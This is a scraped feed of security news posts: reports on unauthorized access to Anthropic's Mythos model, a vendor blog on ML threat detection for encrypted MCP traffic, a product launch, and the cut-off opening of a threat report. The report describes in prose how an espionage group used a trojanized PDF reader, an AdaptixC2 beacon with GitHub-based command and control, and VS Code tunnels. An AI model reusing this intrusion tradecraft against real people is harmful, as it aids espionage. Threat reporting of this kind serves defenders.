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SYDNEY, April 22 : The central banks of Australia and New Zealand said on Wednesday they were monitoring the release of Anthropic's advanced Mythos artificial intelligence model, joining authorities … [+1649 chars]

A small group of unauthorized users has accessed Anthropic's new Mythos AI model, Bloomberg News reported on Tuesday, citing documentation and a person familiar with the matter.A handful of users in … [+903 chars]

Skip to comments. Anthropic's Mythos model accessed by unauthorized users, Bloomberg News reports yahoo ^ | Tue, April 21, 2026 at 2:49 PM PDT | Reuters Posted on 04/21/2026 7:31:02 PM PDT by … [+1188 chars]

April 21 : Japan's Finance Minister Satsuki Katayama plans to meet the country's biggest banks and other financial institutions as early as this week to discuss Anthropic PBC's latest AI model Mythos… [+590 chars]

<p>The post <a href="https://www.gopher.security/blog/automated-ml-driven-threat-hunting-post-quantum-encrypted-mcp-streams">Automated ML-driven threat hunting in post-quantum encrypted MCP streams</a> appeared first on <a href="https://www.gopher.security/blog">Read the Gopher Security's Quantum Safety Blog</a>.</p><h2>The new frontier of mcp security and quantum risks</h2><p>Imagine if you finally locked your front door with a key that literally cannot be copied, but then you realize you can't see through the peephole anymore to see who is knocking. That is exactly what happens when we switch to post-quantum cryptography (pqc) for our Model Context Protocol (mcp) streams. For those who aren't deep in the weeds, mcp is an open standard that lets ai models connect to external data sources and tools. We get amazing privacy with it, but we lose the ability to actually see what the ai is doing.</p><p>Traditional signature-based DPI is basically dead when it comes to quantum-resistant tunnels. (<a href="https://www.ias.edu/security/deep-packet-inspection-dead-and-heres-why">Deep packet inspection is dead, and here's why | Security</a>) If you try to break the encryption to look for threats, the latency hit is massive. I've seen setups where the lag makes the ai basically unusable for real-time tasks. Behavioral/ML-driven traffic analysis is the successor here, because it doesn't need to crack the code to see if something is fishy.</p><ul> <li><strong>The visibility gap</strong>: While some claim pqc like Kyber makes inspection impossible, the reality is that it just makes it incredibly difficult for middleboxes to sniff traffic without being a verified endpoint. In a retail setting, this means a compromised mcp server could be leaking customer data, and your firewall wouldn't have a clue because it can't "man-in-the-middle" the connection easily.</li> <li><strong>Latency nightmares</strong>: Decrypting and re-encrypting pqc traffic at the edge adds milliseconds that stack up fast. For high-frequency finance apps, that delay is a deal-breaker.</li> <li><strong>Metadata is king</strong>: Since the payload is encrypted and its contents are hidden, we have to teach ml models to look at "the shape" of the traffic—timing, packet sizes, and bursts—to find bad actors.</li> </ul><p><img decoding="async" src="https://cdn.pseo.one/685d00d4cb08ab5f5934b924/690c83ae1ca595b8c6f91e0f/automated-ml-driven-threat-hunting-post-quantum-encrypted-mcp-streams/mermaid-diagram-1.svg" alt="Diagram 1"></p><p>The mcp creates a huge new playground for hackers. It isn't just about stealing data; it is about "puppet attacks." This is where a malicious resource—like a poisoned healthcare database—tricks the model into executing commands it shouldn't. ML detects these puppet attacks by identifying unusual sequences of tool calls that deviate from how the model usually acts. If it suddenly starts calling a "delete" function after a "read" request in a way it never has before, the ml flags the anomaly.</p><p>According to a <a href="https://www.ibm.com/reports/threat-intelligence">2024 report by IBM</a>, the average cost of a data breach is hitting record highs. If a tool is poisoned in a dev environment, the ai might start "hallucinating" malicious code directly into your production repo.</p><p>Honestly, we're moving toward a world where the infrastructure is so complex that humans can't watch the gates anymore. We need ml that's as smart as the ai it's protecting.</p><h2>Implementing automated ml for encrypted threat hunting</h2><p>So, we’ve hidden our mcp traffic inside these beefy quantum-resistant tunnels, which is great for privacy but sucks for visibility. It’s like trying to guess what someone is cooking just by listening to the clinking of their pans—you can't see the ingredients, but the rhythm tells a story.</p><p>To get around this "blind spot," we’re seeing a shift toward p2p (peer-to-peer) connectivity for mcp flows. Using tools like Gopher Security—an identity-based security platform—helps because they don't just dump data into a black hole; they create a 4D security framework that looks at the context around the encrypted stream.</p><p>Instead of trying to crack the pqc—which is basically impossible anyway—this approach focuses on the behavior of the mcp servers themselves. If a server in a retail environment suddenly starts sending huge bursts of data to an unknown IP at 3 AM, the ml doesn't need to read the packets to know something is wrong.</p><ul> <li><strong>Zero-day spotting</strong>: By monitoring how an ai model usually talks to its tools, Gopher's framework can flag when a "handshake" looks slightly off.</li> <li><strong>P2P resilience</strong>: Because the data flows directly between nodes rather than through a central hub, there is less "noise" for the ml to sift through.</li> <li><strong>Visibility without decryption</strong>: You get the metadata needed for training without ever touching the actual keys.</li> </ul><p>Since the payload is encrypted and its contents are hidden, we have to get creative with "feature engineering." We look at the timing between packets, the exact size of the chunks being sent, and which way the data is flowing.</p><p>For example, a "normal" model-to-tool handshake in a finance app has a very specific cadence. If we suddenly see a massive outbound flow after a tiny inbound request, that's a huge red flag for data exfiltration.</p><p><img decoding="async" src="https://cdn.pseo.one/685d00d4cb08ab5f5934b924/690c83ae1ca595b8c6f91e0f/automated-ml-driven-threat-hunting-post-quantum-encrypted-mcp-streams/mermaid-diagram-2.svg" alt="Diagram 2"></p><p>According to a 2023 study by Palo Alto Networks, over 50% of security operations center (soc) analysts are overwhelmed by the sheer volume of alerts, which is why automating this ml "hunting" is so critical. </p><p>Here is a quick snippet of how a security engineer might start grouping these features to look for high-entropy payloads or weird timing:</p><pre><code class="language-python">import math def analyze_mcp_behavior(packet_sizes, intervals): # Calculate entropy of packet sizes to find hidden data entropy = -sum((p/sum(packet_sizes)) * math.log2(p/sum(packet_sizes)) for p in packet_sizes if p &gt; 0) # Check for jitter/timing anomalies avg_interval = sum(intervals) / len(intervals) if entropy &gt; 7.5 or avg_interval &lt; 0.001: trigger_behavioral_alert("Potential exfiltration or puppet attack detected") return "flow_analyzed" </code></pre><p>Honestly, the goal is to make the security as smart as the ai it’s watching. If we don't, we're just building faster cars with no brakes.</p><h2>Real-time detection and policy enforcement</h2><p>Finding out someone is trying to mess with your ai model is one thing, but actually stopping them in mid-air without crashing the whole system? That’s the real trick. </p><p>When you're dealing with mcp streams wrapped in pqc, you can't just pull the plug on every suspicious packet or you'll break the very tools the ai needs to function. We need a way to turn those ml insights into "surgical" blocks.</p><ul> <li><strong>Dynamic permission shifts</strong>: Based on real-time risk, you can strip away "write" access and leave only "read" permissions. </li> <li><strong>Prompt injection shields</strong>: By looking at the entropy of the parameters being passed to mcp tools, we can stop "jailbreak" attempts. </li> <li><strong>Environmental checks</strong>: If a dev is hitting a production mcp server from a device with an outdated kernel, the policy engine can block the connection.</li> </ul><p><img decoding="async" src="https://cdn.pseo.one/685d00d4cb08ab5f5934b924/690c83ae1ca595b8c6f91e0f/automated-ml-driven-threat-hunting-post-quantum-encrypted-mcp-streams/mermaid-diagram-3.svg" alt="Diagram 3"></p><p>If a tool gets compromised—like a retail inventory api that starts acting like a command-and-control server—you need to move fast. Manual intervention is too slow when ai is chatting at 100 tokens per second. </p><p>We use soar (security orchestration, automation, and response) playbooks that trigger the moment the ml flags a "critical" anomaly. According to research by Mandiant, the speed of cloud-native exploits means human response times are no longer sufficient, making automated isolation the only viable path.</p><pre><code class="language-python">def enforce_mcp_policy(risk_score, tool_id): if risk_score &gt; 0.9: quarantine_resource(tool_id) log_event("CRITICAL: Tool isolated due to anomaly") elif risk_score &gt; 0.6: apply_read_only_mode(tool_id) log_event("WARNING: Restricted access applied") </code></pre><h2>Future-proofing the ai security stack</h2><p>So, we’ve built this high-speed, quantum-proof monster, but how do we keep it from falling apart when the traffic hits a million requests per second? It is one thing to secure a lab environment, it’s a whole different beast when you are running mcp streams across a global retail or finance network.</p><p>When you’re pushing that much data through pqc tunnels, your standard cpu is going to scream for mercy. Most big players are moving toward hardware acceleration—think smartNICs or dedicated fpga cards—to offload the encryption. </p><ul> <li><strong>Hardware offloading</strong>: Using dedicated chips for pqc means your ai doesn't stutter every time it calls a tool.</li> <li><strong>Global mesh</strong>: Instead of a central bottleneck, use a peer-to-peer mesh where security policies are synced across every node.</li> <li><strong>API complexity</strong>: Your security stack has to automatically "learn" the schema of every new tool added to the mcp.</li> </ul><p><img decoding="async" src="https://cdn.pseo.one/685d00d4cb08ab5f5934b924/690c83ae1ca595b8c6f91e0f/automated-ml-driven-threat-hunting-post-quantum-encrypted-mcp-streams/mermaid-diagram-4.svg" alt="Diagram 4"></p><p>Honestly, the lawyers and auditors are usually the ones most stressed about this stuff. How do you prove you’re following gdpr or soc 2 when you’re using encryption that literally nobody can break? It creates a weird paradox for governance.</p><p>You need automated compliance management that logs the <em>fact</em> that a security check happened, even if it can't see the raw data. As mentioned earlier, we have to rely on metadata and "the shape" of the traffic to prove to auditors that we’re stopping data leaks. </p><ul> <li><strong>Proof of inspection</strong>: Logs should show that an ml model scanned the packet timing and size.</li> <li><strong>Governance at scale</strong>: Use "security as code" to push out new quantum-resistant policies to every ai agent in your fleet at once.</li> <li><strong>Future-proofing</strong>: Start transitioning your root certificates to pqc now, because "store now, decrypt later" attacks are a real thing hackers are doing today.</li> </ul><p>The next decade of ai infrastructure is going to be messy, but if we bake this quantum-resistant security into the mcp stack now, we won't be scrambling when the first real quantum computers start knocking on our doors. It’s about building a stack that’s fast, invisible, and smart enough to watch its own back.</p><div class="spu-placeholder" style="display:none"></div><div class="addtoany_share_save_container addtoany_content addtoany_content_bottom"><div class="a2a_kit a2a_kit_size_20 addtoany_list" data-a2a-url="https://securityboulevard.com/2026/04/automated-ml-driven-threat-hunting-in-post-quantum-encrypted-mcp-streams/" data-a2a-title="Automated ML-driven threat hunting in post-quantum encrypted MCP streams"><a class="a2a_button_twitter" href="https://www.addtoany.com/add_to/twitter?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F04%2Fautomated-ml-driven-threat-hunting-in-post-quantum-encrypted-mcp-streams%2F&amp;linkname=Automated%20ML-driven%20threat%20hunting%20in%20post-quantum%20encrypted%20MCP%20streams" title="Twitter" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F04%2Fautomated-ml-driven-threat-hunting-in-post-quantum-encrypted-mcp-streams%2F&amp;linkname=Automated%20ML-driven%20threat%20hunting%20in%20post-quantum%20encrypted%20MCP%20streams" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_facebook" href="https://www.addtoany.com/add_to/facebook?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F04%2Fautomated-ml-driven-threat-hunting-in-post-quantum-encrypted-mcp-streams%2F&amp;linkname=Automated%20ML-driven%20threat%20hunting%20in%20post-quantum%20encrypted%20MCP%20streams" title="Facebook" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F04%2Fautomated-ml-driven-threat-hunting-in-post-quantum-encrypted-mcp-streams%2F&amp;linkname=Automated%20ML-driven%20threat%20hunting%20in%20post-quantum%20encrypted%20MCP%20streams" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F04%2Fautomated-ml-driven-threat-hunting-in-post-quantum-encrypted-mcp-streams%2F&amp;linkname=Automated%20ML-driven%20threat%20hunting%20in%20post-quantum%20encrypted%20MCP%20streams" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share"></a></div></div><p class="syndicated-attribution">*** This is a Security Bloggers Network syndicated blog from <a href="https://www.gopher.security/blog">Read the Gopher Security&amp;#039;s Quantum Safety Blog</a> authored by <a href="https://securityboulevard.com/author/0/" title="Read other posts by Read the Gopher Security's Quantum Safety Blog">Read the Gopher Security's Quantum Safety Blog</a>. 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<p>In today’s dynamic digital environment, the pressure to innovate has never been greater. Development teams are pushing for native cloud tools to maximize performance and cost-efficiency, while security teams require best-of-breed, enterprise-grade protection to defend against an ever-evolving threat landscape. This often creates a point of friction, forcing organizations into a difficult trade-off: sacrifice performance for security, or accept weaker protections for the sake of speed.</p><p>To resolve this challenge, Thales Imperva is collaborating with Google Cloud to deliver a solution that helps bridge this gap. We are proud to introduce Imperva for Google Cloud (IGC), an integrated security solution that offers the best of both worlds: enterprise-grade application security with the cloud-native performance you expect from Google Cloud.</p><h2><strong>Imperva for Google Cloud: A Holistic, Integrated Solution</strong></h2><p>Imperva for Google Cloud is not just another security layer; it is a fully managed, best-in-class Web Application and API Protection (WAAP) solution built directly into the fabric of Google Cloud. This integration, available now on Google Cloud Marketplace,   provides robust protection without disrupting your existing infrastructure or workflows.</p><ul> <li><strong>Cloud-Native Performance Without Compromise:</strong> Imperva for Google Cloud uses Google Cloud’s native Service Extension and Private Service Connect to inspect traffic within the Google Cloud network. This means all traffic analysis happens without your data ever leaving Google Cloud infrastructure, preserving optimal latency, performance, and data residency.</li> <li><strong>Quick Deployment:</strong> Forget complex re-architecture. Imperva for Google Cloud can be deployed quickly using familiar tools like Terraform, Google Cloud CLI (gCloud CLI), or the Google Cloud console UI. There are no disruptive DNS, SSL, or network routing changes required, allowing you to achieve production-ready protection almost immediately.</li> <li><strong>Enterprise-Grade Protection Out of the Box:</strong> Imperva for Google Cloud is powered by Imperva’s industry-leading security engine, delivering comprehensive WAF, advanced API Security, and Account Bot Protection. Backed by 24/7 threat research, the Imperva solution provides near-zero false positives, with 97% of customers successfully using default policies and 95% running in blocking mode from day one. This dramatically reduces the operational overhead of constant rule tuning.</li> </ul><h2><strong>Real-World Impact: Securely Accelerating Your Business</strong></h2><p>By eliminating the trade-offs between security and performance, Imperva for Google Cloud helps organizations achieve key business outcomes:</p><ul> <li><strong>Accelerate Lift-and-Shift Migrations:</strong> Migrate workloads to Google Cloud confidently with security that adapts to your applications, not the other way around. Eliminate migration delays caused by complex security re-architecture.</li> <li><strong>Unleash DevOps-Friendly Security:</strong> Empower development teams to innovate at speed. IGC closes the security gaps in built-in tools without slowing down deployment velocity or requiring developers to become security experts.</li> <li><strong>Protect Modern Cloud-Native Applications:</strong> Secure your Kubernetes and microservices architectures with best-in-class defenses optimized for low-latency environments.</li> <li><strong>Achieve Unified Multi-Cloud Governance:</strong> Manage security for all your Imperva-protected environments from a single, unified dashboard, providing consistent policy management and visibility across your entire multi-cloud estate.</li> </ul><p><em>“Bringing Thales Imperva to Google Cloud Marketplace will help customers quickly deploy, manage, and grow the company’s integrated security solution on Google Cloud’s trusted, global infrastructure,” said Dai Vu, Managing Director, Marketplace &amp; ISV GTM Programs at Google Cloud. “Thales can now securely scale and support organizations that want to use its Imperva for Google Cloud solution to increase protection for their cloud-native applications, APIs, microservices and more.”</em></p><h2><strong>Join Us on the Journey to More Seamless Cloud Security</strong></h2><p>As we approach key industry events like our exclusive Executive Briefing Center (EBC) meeting in late March and Google Cloud Next 2026 in April, the conversation around integrated  security has never been more relevant. The launch of Imperva for Google Cloud marks a pivotal moment in our relationship with Google, providing a clear path for customers to secure their digital assets without compromise.</p><p><strong>Ready to secure your cloud-native applications?</strong></p><ul> <li><strong>Request a demo</strong>: Experience IGC in action at <a href="https://www.imperva.com/products/imperva-for-google-cloud/">Imperva for Google Cloud</a></li> <li><strong>Start your evaluation</strong>: Available now on <a href="https://console.cloud.google.com/marketplace/product/cpl-vpop-p-mktp-global-02/ias4gc?project=workflow-test-474814&amp;pli=1&amp;login=true&amp;ref=https:%2F%2Fstatics.teams.cdn.office.net%2F" rel="noopener">Google Cloud Marketplace</a></li> </ul><p>The post <a href="https://www.imperva.com/blog/enterprise-grade-application-security-cloud-native-speed-introducing-imperva-for-google-cloud/">Enterprise-Grade Application Security, Cloud-Native Speed: Introducing Imperva for Google Cloud</a> appeared first on <a href="https://www.imperva.com/blog">Blog</a>.</p><div class="spu-placeholder" style="display:none"></div><div class="addtoany_share_save_container addtoany_content addtoany_content_bottom"><div class="a2a_kit a2a_kit_size_20 addtoany_list" data-a2a-url="https://securityboulevard.com/2026/04/enterprise-grade-application-security-cloud-native-speed-introducing-imperva-for-google-cloud/" data-a2a-title="Enterprise-Grade Application Security, Cloud-Native Speed: Introducing Imperva for Google Cloud"><a class="a2a_button_twitter" href="https://www.addtoany.com/add_to/twitter?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F04%2Fenterprise-grade-application-security-cloud-native-speed-introducing-imperva-for-google-cloud%2F&amp;linkname=Enterprise-Grade%20Application%20Security%2C%20Cloud-Native%20Speed%3A%20Introducing%20Imperva%20for%20Google%20Cloud" title="Twitter" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F04%2Fenterprise-grade-application-security-cloud-native-speed-introducing-imperva-for-google-cloud%2F&amp;linkname=Enterprise-Grade%20Application%20Security%2C%20Cloud-Native%20Speed%3A%20Introducing%20Imperva%20for%20Google%20Cloud" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_facebook" href="https://www.addtoany.com/add_to/facebook?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F04%2Fenterprise-grade-application-security-cloud-native-speed-introducing-imperva-for-google-cloud%2F&amp;linkname=Enterprise-Grade%20Application%20Security%2C%20Cloud-Native%20Speed%3A%20Introducing%20Imperva%20for%20Google%20Cloud" title="Facebook" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F04%2Fenterprise-grade-application-security-cloud-native-speed-introducing-imperva-for-google-cloud%2F&amp;linkname=Enterprise-Grade%20Application%20Security%2C%20Cloud-Native%20Speed%3A%20Introducing%20Imperva%20for%20Google%20Cloud" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F04%2Fenterprise-grade-application-security-cloud-native-speed-introducing-imperva-for-google-cloud%2F&amp;linkname=Enterprise-Grade%20Application%20Security%2C%20Cloud-Native%20Speed%3A%20Introducing%20Imperva%20for%20Google%20Cloud" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share"></a></div></div><p class="syndicated-attribution">*** This is a Security Bloggers Network syndicated blog from <a href="https://www.imperva.com/blog/">Blog</a> authored by <a href="https://securityboulevard.com/author/0/" title="Read other posts by Ido Mantsur">Ido Mantsur</a>. Read the original post at: <a href="https://www.imperva.com/blog/enterprise-grade-application-security-cloud-native-speed-introducing-imperva-for-google-cloud/">https://www.imperva.com/blog/enterprise-grade-application-security-cloud-native-speed-introducing-imperva-for-google-cloud/</a> </p>

<p>A group of unauthorized users reportedly has gained access to Anthropic’s controversial Claude Mythos Preview AI frontier model despite the AI vendor’s efforts to keep it out of public hands by limiting the organizations that can use it.</p><p><a href="https://www.bloomberg.com/news/articles/2026-04-21/anthropic-s-mythos-model-is-being-accessed-by-unauthorized-users" target="_blank" rel="noopener">Bloomberg reported</a> that the unnamed group had tried multiple ways to gain access to the AI model since it was first announced earlier this month, and finally was able to get through via a third-party vendor. The users, who accessed Mythos on the day it was announced, are part of a Discord online forum group known to search for information about unreleased AI models.</p><p>According to the report, the group, using knowledge it had about a format Anthropic had used for other models, “made an education guess about [Mythos’] online location.” A person inside the group that Bloomberg communicated with told the news outlet that they were “interested in playing around with new models, not wreaking havoc with them.”</p><p>In a <a href="https://techcrunch.com/2026/04/21/unauthorized-group-has-gained-access-to-anthropics-exclusive-cyber-tool-mythos-report-claims/" target="_blank" rel="noopener">statement</a> to TechCrunch, an Anthropic spokesperson said the company was investigating the claim of unauthorized access to Mythos through a third-party vendor, and that the company has not found indications that the group’s activities have effected its systems.</p><h3>Mythos’ Ongoing Ripple Effect</h3><p>Anthropic’s <a href="https://securityboulevard.com/2026/04/anthropic-unveils-restricted-ai-cyber-model-in-unprecedented-industry-alliance/" target="_blank" rel="noopener">announcement</a> of Mythos April 7 sent shockwaves through the cybersecurity industry. The vendor described a frontier model that is significantly better than any other developed at detecting and identifying software vulnerabilities, noting that in tests, Mythos was able to find a security flaw that had been present yet undetected for 27 years.</p><p>However, the model also is <a href="https://www.anthropic.com/glasswing" target="_blank" rel="noopener">very good at creating exploits</a> for the vulnerabilities, which convinced Anthropic executives to limit the release of Mythos to a select group of organizations that will use them to create stronger defenses as part of the AI vendor’s new <a href="https://red.anthropic.com/2026/mythos-preview/" target="_blank" rel="noopener">Project Glasswing</a>.</p><p>OpenAI a week later followed a similar path with the <a href="https://securityboulevard.com/2026/04/openai-follows-anthropic-in-limiting-access-to-its-cyber-focused-model/" target="_blank" rel="noopener">unveiling of GPT-5.4-Cyber</a>, a frontier model focused on cybersecurity that the vendor also designated for particular users, though granting access to more organizations and individuals than Anthropic.</p><p>The introduction of Mythos ignited debates about everything from cybersecurity as such autonomous AI models come into play to what organizations need to do to secure their IT environments to whether Mythos’ capabilities are unique.</p><h3>Speed is the Difference</h3><p>However, enterprises and their security teams need to pay attention, according to Brian Fox, co-founder and CTO of Sonatype, which provides a software supply chain management platform.</p><p>“If the early reporting is right, Mythos could be a watershed moment,” Fox said. “What is not new is the reality it is forcing people to confront. Beneath the AI framing sits the same software supply chain reality we have been discussing for years: dependencies, build pipelines, third-party software, and infrastructure remain the attack surface.”</p><p>Fox added that “what changed is speed. AI can now find and operationalize weaknesses across that stack faster than most organizations can inventory, prioritize, and patch them. What we are seeing in response to the Mythos news is many organizations coming to terms with a reality that has existed for a long time: they are not actually in control of their software supply chains.”</p><h3>Addressing the Threats</h3><p>Tech vendors are beginning to roll out offerings aimed at helping organizations deal with the cyber risks posed by such frontier models. IBM Consulting last week <a href="https://securityboulevard.com/2026/04/new-ibm-security-services-aim-to-counter-risks-of-frontier-ai-models/" target="_blank" rel="noopener">introduced IBM Autonomous Security</a>, a collection of specialized agents created to make enterprises’ often sprawling security stacks work a more unified and coordinated fashion and creating what the vendor called “a systemic defense” that is needed to address the autonomous and fast-moving threats from such models.</p><p>At the same time, IBM is offering a new service for assessing a company’s security weaknesses and responding to them.</p><p>Likewise, Palo Alto Networks launched <a href="https://www.paloaltonetworks.com/blog/2026/04/introducing-unit-42-frontier-ai-defense/" target="_blank" rel="noopener">Unit 42 Frontier AI Defense</a>, an offering that uses AI models to help organizations “identify and validate the exposures most likely to be chained into real attacks before attackers weaponize them,” with Sam Rubin, senior vice president of consulting and threat intelligence at Unit 42, writing that “frontier AI is changing what is possible for attackers. In the hands of defenders, it can become a decisive advantage.”</p><h3>What Publicly Available Models Can Do</h3><p>Mythos and GPT-5.4-Cyber have garnered much of the attention about the cybersecurity risks such frontier models represent. However, some security vendors wrote that they tested publicly available AI models and found that many of them came close to or matched Mythos’ ability to find and identify zero-day vulnerabilities.</p><p>Executives with startup Aisle, which offers an AI-native app security platform, <a href="https://aisle.com/blog/ai-cybersecurity-after-mythos-the-jagged-frontier" target="_blank" rel="noopener">wrote</a> that over the past year, they had built an AI system for discovering, validating, and patching zero-days in open source software. In tests, they “took the specific vulnerabilities Anthropic showcases in their announcement, isolated the relevant code, and ran them through small, cheap, open-weights models. Those models recovered much of the same analysis.”</p><p>The models included GPT-OSS-120b, DeepSeek R1, Qwen3, and Gemma 4. The results varied depending on the model and the task, they wrote.</p><h3>The Real Story</h3><p>Researchers with Vidoc Security Lab, another AI-based cybersecurity startup, <a href="https://blog.vidocsecurity.com/blog/we-reproduced-anthropics-mythos-findings-with-public-models" target="_blank" rel="noopener">wrote</a> that they came up with similar results with OpenAI’s GPT-5.4 and Anthropic’s Claude Opus 4.6 models running OpenCode, an open source AI coding agent, scanning for security flaws in open software like OpenBSD and FFmpeg.</p><p>“If public models can already do useful work inside that kind of workflow, then the story is not ‘Anthropic has a magical cyber artifact,’” they wrote. “The story is that serious AI-assisted vulnerability research is no longer confined to a single frontier lab. That does not make the workflow easy. It means the moat is moving up the stack, from model access to validation, prioritization, and remediation.”</p><div class="spu-placeholder" style="display:none"></div><div class="addtoany_share_save_container addtoany_content addtoany_content_bottom"><div class="a2a_kit a2a_kit_size_20 addtoany_list" data-a2a-url="https://securityboulevard.com/2026/04/unauthorized-users-reportedly-gain-access-to-anthropics-mythos-ai-model/" data-a2a-title="Unauthorized Users Reportedly Gain Access to Anthropic’s Mythos AI Model"><a class="a2a_button_twitter" href="https://www.addtoany.com/add_to/twitter?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F04%2Funauthorized-users-reportedly-gain-access-to-anthropics-mythos-ai-model%2F&amp;linkname=Unauthorized%20Users%20Reportedly%20Gain%20Access%20to%20Anthropic%E2%80%99s%20Mythos%20AI%20Model" title="Twitter" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F04%2Funauthorized-users-reportedly-gain-access-to-anthropics-mythos-ai-model%2F&amp;linkname=Unauthorized%20Users%20Reportedly%20Gain%20Access%20to%20Anthropic%E2%80%99s%20Mythos%20AI%20Model" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_facebook" href="https://www.addtoany.com/add_to/facebook?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F04%2Funauthorized-users-reportedly-gain-access-to-anthropics-mythos-ai-model%2F&amp;linkname=Unauthorized%20Users%20Reportedly%20Gain%20Access%20to%20Anthropic%E2%80%99s%20Mythos%20AI%20Model" title="Facebook" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F04%2Funauthorized-users-reportedly-gain-access-to-anthropics-mythos-ai-model%2F&amp;linkname=Unauthorized%20Users%20Reportedly%20Gain%20Access%20to%20Anthropic%E2%80%99s%20Mythos%20AI%20Model" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F04%2Funauthorized-users-reportedly-gain-access-to-anthropics-mythos-ai-model%2F&amp;linkname=Unauthorized%20Users%20Reportedly%20Gain%20Access%20to%20Anthropic%E2%80%99s%20Mythos%20AI%20Model" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share"></a></div></div>

<p>The post <a href="https://www.zscaler.com/blogs/security-research/tropic-trooper-pivots-adaptixc2-and-custom-beacon-listener">Tropic Trooper Pivots to AdaptixC2 and Custom Beacon Listener</a> appeared first on <a href="https://www.zscaler.com/blogs/feeds/security-research">Security Research | Blog</a>.</p><p>IntroductionOn March 12, 2026, Zscaler ThreatLabz discovered a malicious ZIP archive containing military-themed document lures targeting Chinese-speaking individuals. Our analysis of this sample uncovered a campaign leveraging a multi-stage attack chain where a trojanized SumatraPDF reader deploys an AdaptixC2 Beacon agent, ultimately leading to the download and abuse of Visual Studio (VS) Code tunnels for remote access. During our analysis, we observed that the threat actor likely targeted Chinese-speaking individuals in Taiwan, and individuals in South Korea and Japan. Based on the tactics, techniques, and procedures (TTPs) observed in this attack, ThreatLabz attributes this activity to Tropic Trooper (also known as Earth Centaur and Pirate Panda) with high confidence.In this blog post, ThreatLabz covers the Tropic Trooper campaign and the tools that were deployed to conduct intelligence gathering. Key TakeawaysOn March 12, 2026, ThreatLabz discovered a malicious ZIP archive containing military-themed document lures targeting Chinese-speaking individuals.The campaign used a trojanized SumatraPDF binary to deploy an AdaptixC2 Beacon and ultimately VS Code on targeted machines.The shellcode loader used in this attack closely resembles the TOSHIS loader, which has been associated with Tropic Trooper and was previously reported in the TAOTH campaign.The threat actors created a custom AdaptixC2 Beacon listener, leveraging GitHub as their command-and-control (C2) platform.The staging server involved in this attack also hosted CobaltStrike Beacon and an EntryShell backdoor. Both malware types and configurations are known to have been used by Tropic Trooper. Technical AnalysisIn the sections below, ThreatLabz outlines the attack chain, starting with military-themed lures and leading to the deployment of the AdaptixC2 Beacon agent. We also discuss the use of a custom GitHub listener and the recurring TTP of abusing VS Code for remote access.Attack chainThe full sequence of the attack is illustrated in the figure below.Figure 1: Tropic Trooper attack chain leading to the deployment of an AdaptixC2 Beacon and VS Code tunnels.The ZIP archive contained documents with the following names roughly translated to English:Original Chinese FilenameEnglish TranslationCECC昆山元宇宙产业基地建设方案(20230325).docxCECC Kunshan Metaverse Industrial Base Construction Plan (20230325).docx中国声学智能产业声创中心建设和运营方案(2021112)(2)(1)(1).docxChina Acoustic Intelligence Industry Innovation Center Construction and Operation Plan (2021112)(2)(1)(1).docx武器装备体系结构贡献度评估.pdfAssessment of Contribution Degree of Weaponry System Architecture.pdf武器装备体系能力贡献度的解析与度量方法.pdfAnalysis and Measurement Methods for Capability Contribution of Weaponry Systems.pdf江苏自主智能无人系统产业基地建设方案(202304) .docxJiangsu Autonomous Intelligent Unmanned Systems Industrial Base Construction Plan (202304).docx美英与美澳核潜艇合作的比较分析(2025).exeComparative Analysis of US-UK and US-Australia Nuclear Submarine Cooperation (2025).exeTable 1: The table lists the files found inside the ZIP archive, showing each original Chinese filename alongside its approximate English translation.Most of these files appear outdated. The document that appears to be the most recent, Comparative Analysis of US-UK and US-Australia Nuclear Submarine Cooperation (2025).exe, is actually a trojanized version of the SumatraPDF reader binary. When executed, this loader triggers a multi-stage attack: it downloads and displays a new decoy PDF that is shown to the victim while discreetly downloading and running an AdaptixC2 Beacon agent in the background.The downloaded lure PDF aligns with its file name, featuring analysis and visuals concerning American submarines and the AUKUS partnership (a security partnership between Australia, the U.K., and the U.S). The figure below illustrates the contents of the downloaded lure PDF.Figure 2: Tropic Trooper PDF lure containing information about the AUKUS partnership and American submarines.Stage 1 – TOSHIS loader (backdoored SumatraPDF)The trojanized executable resembles the open-source SumatraPDF reader at first glance, featuring identical certificates and PDB paths to those of the 